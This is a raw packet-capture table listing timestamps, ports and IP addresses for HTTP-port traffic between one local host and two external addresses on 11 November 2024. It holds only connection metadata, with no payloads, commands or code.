Nov 11, 2024 14:32:18.233608961 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.233611107 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.233635902 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.233628988 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.233643055 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.233648062 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.233658075 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.233658075 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.233664036 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.233674049 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.233680010 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.233686924 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.233690977 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.233700037 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.233707905 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.233751059 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.233874083 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.233880043 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.233886957 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.233937025 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.233937025 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.234049082 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234055042 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234061003 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234071016 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234076023 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234081984 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234086990 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234091997 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234096050 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234101057 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234105110 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.234107018 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234112024 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234117985 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234122992 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234127998 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234133005 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234134912 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.234144926 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234162092 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.234204054 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.234333038 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234338045 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234344006 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234349012 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234354973 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234371901 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.234404087 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234411001 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234414101 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234421968 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.234425068 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234431028 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234436035 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234441042 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234445095 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234450102 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234453917 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234463930 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234468937 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.234491110 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.234517097 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.234533072 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234597921 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.234704018 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234709024 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234719992 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234724998 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234729052 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234738111 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234744072 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234754086 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234757900 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.234766960 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234772921 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234777927 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234782934 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234787941 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234792948 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234795094 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.234798908 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234803915 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234808922 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234816074 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234821081 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.234827995 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234829903 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.234837055 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234842062 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234854937 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234860897 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234860897 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.234869003 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.234869957 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.234884024 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.234909058 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.234966040 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.235212088 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.235218048 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.235229015 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.235244989 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.235251904 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.235256910 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.235263109 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.235268116 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.235270023 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.235274076 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.235280037 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.235285997 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.235294104 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.235321999 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.235327959 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.235331059 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.235337019 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.235342026 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.235347033 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.235352039 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.235358000 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.235363960 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.235368967 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.235398054 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.235423088 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.235516071 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.235519886 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.235526085 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.235531092 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.235536098 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.235546112 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.235552073 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.235583067 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.235630989 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.270699978 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.275635004 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.469867945 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.469873905 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.469880104 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.469886065 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470021963 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.470041990 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470132113 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470138073 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470144033 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470220089 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470226049 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470232010 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470249891 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.470274925 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470280886 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470288038 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470294952 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470294952 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.470308065 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.470340967 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.470355034 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470360994 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470375061 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470381975 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470395088 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470400095 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470403910 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.470407009 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470422983 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.470457077 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.470634937 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470639944 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470647097 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470657110 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470664024 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470669031 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470674038 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470679998 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470688105 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470693111 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470699072 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470705032 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470710039 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.470710039 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.470710993 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470719099 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470731020 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.470743895 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470748901 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470753908 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470768929 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.470777035 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.470801115 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.470879078 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470884085 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470890045 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470895052 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470900059 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470905066 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470910072 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470915079 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470921993 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470928907 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.470944881 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.470985889 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.471024036 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471029997 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471035957 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471040964 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471045971 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471055031 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471060038 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471093893 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.471115112 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471121073 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471122980 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.471129894 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471136093 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471141100 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471144915 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471149921 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471155882 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471165895 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.471209049 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.471303940 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471309900 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471323967 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471328974 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471374035 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.471374035 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.471374989 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471380949 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471390963 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471422911 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471436024 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471442938 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471443892 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.471447945 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471455097 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471458912 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.471487999 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.471502066 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.962234974 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.962234974 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:18.967133045 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:18.967245102 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:19.656971931 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:19.657231092 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:19.696573973 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:19.701476097 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:19.898307085 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:19.898315907 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:19.898350954 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:19.898406029 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:19.898423910 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:19.901226997 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:19.906254053 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:20.105338097 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:20.105417013 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:20.117078066 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:20.121908903 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:20.808901072 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:20.808980942 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:20.832377911 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:20.837255955 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:21.034240961 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:21.034349918 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:21.038053036 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.042851925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.042928934 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.043148041 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.047969103 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.681354046 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.681366920 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.681426048 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.681431055 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.681444883 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.681464911 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.681473970 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.681478977 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.681484938 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.681515932 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.681520939 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.681605101 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.681605101 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.681605101 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.681605101 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.686363935 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.686466932 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.686500072 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.686518908 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.686527967 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.686580896 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.794446945 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.794472933 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.794478893 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.794548035 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.794548035 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.794568062 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.794575930 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.794595003 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.794605970 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.794617891 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.794629097 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.794663906 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.794663906 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.795285940 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.795348883 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.795356989 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.795412064 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.795448065 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.795454025 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.795521975 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.795759916 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.795766115 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.795778036 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.795790911 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.795799017 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.795816898 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.795854092 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.796436071 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.796442032 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.796453953 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.796510935 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.796542883 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.796549082 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.796561003 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.796597004 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.797333956 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.797440052 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.799654961 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.799720049 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.907377005 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.907397985 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.907411098 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.907417059 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.907423973 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.907454014 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.907562017 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.907614946 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.907613039 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.907613039 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.907622099 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.907648087 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.907697916 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.907749891 CET	80	49761	185.215.113.16	192.168.2.4
